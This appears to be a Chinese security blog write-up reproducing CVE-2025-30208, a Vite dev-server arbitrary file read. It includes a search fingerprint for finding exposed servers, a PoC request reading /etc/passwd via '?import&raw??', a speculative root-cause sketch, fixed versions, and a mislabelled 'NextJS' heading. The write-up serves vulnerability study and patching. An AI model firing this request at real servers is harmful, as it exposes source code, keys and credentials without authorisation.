漏洞复现篇 | Vite任意文件读取漏洞:CVE-2025-30208,最新!
漏洞复现篇 | Vite任意文件读取漏洞:CVE-2025-30208,最新!
原创 零日安全实验室 零日安全实验室 2025-03-28 18:26
免责声明!
本
公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。
0x01 漏洞描述
Vite
是一款现代化的前端开发构建工具,它提供了快速的开发服务器和高效的构建能力,广泛应用于
Vue.js
项目的开发过程中。
由于
Vite
开发服务器在处理特定
URL
请求时,没有对请求的路径进行严格的安全检查和限制,导致攻击者可以绕过保护机制,非法访问项目根目录外的敏感文件。攻击者只需在浏览器输入一个
URL
,就可能会造成源码、
SSH
密钥、数据库账号、用户数据等目标机器上的任意文件信息泄露。
0x02 影响范围
目前受影响的
NextJS
版本:
6.2.0 <= Vite <= 6.2.2
6.1.0 <= Vite <= 6.1.1
6.0.0 <= Vite <= 6.0.11
5.0.0 <= Vite <= 5.4.14
Vite <= 4.5.9
0x03 资产测绘
body="/@vite/client"
0x04 环境搭建
1、克隆项目代码:
git clone https://github.com/ai862/Vite-demo.git
2、更新apt:
apt-get update
apt install npm -y
4、安装项目依赖:
npm install --legacy-peer-deps
5、启动开发服务器:
npm run dev
0x05 漏洞利用及复现过程
触发的POC:
GET /@fs/etc/passwd?import&raw?? HTTP/1.1
Content-Type: application/json
Host: 192.168.127.128:4173/
0x06 漏洞触发原理
原始代码直接使用未经处理的
url
进行校验。攻击者可在
URL
中添加
?raw??
或
?import&raw??
绕过此限制。
正则匹配绕过
rawRE/urlRE
的正则设计可能无法处理尾部特殊符号。
例如,假设
rawRE
设计为
/^\/@fs\//
,但实际
URL
为
/@fs/etc/passwd?
,正则匹配仍会通过(
?
被视为查询参数起始符,但未正确剥离)。
0x07 修复方案
升级
Vite
版本
– >=6.2.3
– >=6.1.2, <6.2.0
– >=6.0.12, <6.1.0
– >=5.4.15, <6.0.0
– >=4.5.10, <5.0.0
Vite
的官方修复在上文已分析